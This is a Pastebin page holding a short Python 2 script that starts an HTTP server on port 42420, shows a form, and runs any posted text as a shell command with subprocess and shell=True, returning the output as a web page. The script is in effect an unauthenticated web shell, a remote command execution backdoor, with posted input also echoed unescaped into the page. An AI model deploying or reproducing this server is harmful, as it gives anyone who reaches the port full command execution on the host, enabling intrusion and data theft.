Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
- import subprocess
- import string
- import urllib
- class S(BaseHTTPRequestHandler):
- def _set_headers(self):
- self.send_response(200)
- self.send_header('Content-type', 'text/html')
- self.end_headers()
- def _write_form(self, q):
- self.wfile.write('<form method="post"><textarea rows="2" cols="80" name="q" value="'+q+'"></textarea><br><br><input type="submit" value="do"></form>')
- def do_GET(self):
- self._set_headers()
- self.wfile.write("<html><body><center>")
- self._write_form('')
- self.wfile.write("</center></body></html>")
- def do_POST(self):
- self._set_headers()
- content_length = int(self.headers['Content-Length'])
- post_data = self.rfile.read(content_length)
- cmd = string.replace(post_data, 'q=', '', 1)
- cmd = string.replace(cmd, '+', ' ')
- cmd = urllib.unquote(cmd).decode('utf8')
- out = subprocess.check_output(cmd, shell=True)
- self.wfile.write("<html><body><center>")
- self._write_form(cmd)
- self.wfile.write("</center>")
- self.wfile.write(string.replace(out, '\n', '<br/>'))
- self.wfile.write("</body></html>")
- if __name__ == "__main__":
- httpd = HTTPServer(('', 42420), S)
- httpd.serve_forever()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement